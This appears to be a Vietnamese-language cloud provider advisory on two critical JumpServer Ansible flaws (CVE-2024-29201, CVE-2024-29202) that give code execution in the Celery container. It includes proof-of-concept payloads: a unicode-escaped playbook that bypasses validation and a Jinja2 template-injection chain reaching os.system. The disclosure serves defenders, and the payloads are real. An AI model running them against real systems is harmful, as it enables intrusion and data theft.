VNG Cloud Logo

CVE-2024-29201, CVE-2024-29202 Critical Vulnerabilities in Ansible leads to RCE in Celery

Severity: Critical 

Score: 9.9 

CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 

Ngày công bố: 31/03/2024  

Nhà cung cấp: JumpServer  

Phần mềm bị ảnh hưởng: JumpServer Ansible  

Tác động:  

Kẻ tấn công có thể bỏ qua cơ chế xác thực đầu vào trong Ansible của JumpServer để thực thi mã tùy ý trong Celery container. Vì Celery container chạy với đặc quyền root và có quyền truy cập cơ sở dữ liệu, nên kẻ tấn công có thể đánh cắp thông tin nhạy cảm từ tất cả các máy chủ hoặc thao túng cơ sở dữ liệu.  

Mô tả:  

CVE-2024-29201:  

Lỗ hổng phát sinh từ việc bỏ qua xác thực đầu vào trong mô-đun Ansible của JumpServer. Kẻ tấn công có tài khoản người dùng có đặc quyền thấp có thể khai thác lỗ hổng để thực thi mã tùy ý trong Celery container. Nó có thể được thực hiện thông qua các bước sau:  

  • Kẻ tấn công tạo một playbook template độc hại trong "Job > Template" của Workbench, ví dụ YAML code:  

[{  

     "name": "RCE playbook",  

     "hosts": "all",   

     "tasks": [  

       {  

         "name": "this runs in Celery container",  

         "shell": "id > /tmp/pwnd",  

         "\u0064elegate_to": "localhost"  

} ],  

     "vars": {  

     "ansible_\u0063onnection": "local"  

     }  

}]  

  • Tiếp theo tạo một job bằng playbook này và thêm ít nhất một nội dung để thực hiện job đó.  

 

CVE-2024-29202:  

Kẻ tấn công có tài khoản người dùng có đặc quyền thấp có thể khai thác lỗ hổng để thực thi mã tùy ý trong vùng chứa Celery. Lỗ hổng có thể được thực hiện thông qua các bước sau:  

  • Kẻ tấn công tạo một playbook template độc hại trong "Job > Template" của Workbench, ví dụ YAML code:  

- name: |  

       {% for x in ().__class__.__base__.__subclasses__() %}  

         {% if "warning" in x.__name__ %}  

           {{  

             x()._module.__builtins__["__import__"]("os").system("id > /tmp/pwnd")  

           }}  

         {%endif%}  

       {%endfor%}  

  • Tiếp theo tạo một job bằng cách chạy malicious playbook trong phần " Job  > Job List" của Workbench.  

Affected versions  

v3.0.0-v3.10.6  

Patched versions  

v3.10.7  

Cách khắc phục:  

Cập nhật lên biên bản đã vá (v3.10.7).  

Tham khảo:  

  1. https://github.com/jumpserver/jumpserver/security/advisories/GHSA-pjpp-cm9x-6rwj  
  2. https://nvd.nist.gov/vuln/detail/CVE-2024-29201  
  3. https://github.com/jumpserver/jumpserver/security/advisories/GHSA-2vvr-vmvx-73ch  
  4. https://nvd.nist.gov/vuln/detail/CVE-2024-29202  
  5. https://securityonline.info/cve-2024-29201-cve-2024-29202-flaws-expose-jumpserver-users-to-rce-attacks/